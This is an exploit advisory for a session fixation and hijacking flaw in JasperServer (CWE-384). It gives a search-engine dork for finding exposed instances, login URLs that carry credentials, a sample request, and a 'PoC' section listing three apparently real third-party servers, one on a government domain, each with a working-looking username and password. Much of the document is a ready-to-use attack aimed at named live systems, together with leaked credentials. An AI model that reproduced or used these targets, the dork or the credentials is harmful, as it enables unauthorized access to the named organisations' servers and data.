[+] Session Fixation / Hijacking on JasperServer [+] Date: 09/05/2014 [+] Risk: High [+] CWE number: CWE-384 [+] Author: Felipe Andrian Peixoto [+] Vendor Homepage: http://www.jaspersoft.com/ [+] Software Download : http://sourceforge.net/projects/jasperserver/ [+] Contact: felipe_andrian@hotmail.com [+] Tested on: Windows 7 and Gnu/Linux [+] Dork: intitle:JasperServer + inurl:j_password // use your brain ;) [+] Exploit : http://host/patch//flow.html?_flowId=searchFlow&j_username=<username>&j_password=<password> or http://host/patch/j_acegi_security_check?j_username=<username>&j_password=<password> As part of the login process, the assigned session ID is revealed in a URL parameter that alows Hijack the session of some user. Example: Vul example: coopnet.leosoft.com.br GET /coopnet/j_acegi_security_check?j_username=teste&j_password=teste Host: coopnet.leosoft.com.br User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:28.0) Gecko/20100101 Firefox/28.0 Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 With a request like that the session ID of the user will be revealed in a url paramter: "JSESSIONID=4635974EAA38774EF00FB270933D3C7D" The application authenticates users with a direct post to the j_acegi_security_check, which does not invalidate the existing session before processing the login request. <form method="POST" action="j_acegi_security_check"> <input type="text" name="j_username"> <input type="text" name="j_password"> </form> Because Of that is possible authenticate a user, or otherwise establishing a new user session, without invalidating any existing session. [+] PoC : http://www2.emater.mg.gov.br/jasperserver/flow.html?_flowId=searchFlow&j_username=esloc&j_password=esloc j_username=esloc & j_password=esloc http://jrs.logifleet.com/jrs471/flow.html?_flowId=homeFlow&j_username=Scheuchzer%7CScheuchzer&j_password=Scheuchzer j_username=Scheuchzer%7CScheuchzer & j_password=Scheuchzer http://jasper.ffex.net:8080/jasperserver/flow.html?_flowId=searchFlow&&j_username=ratequote&j_password=rateme9 j_username=ratequote & j_password=rateme9 More About session fixation technique on : http://cwe.mitre.org/data/definitions/384.html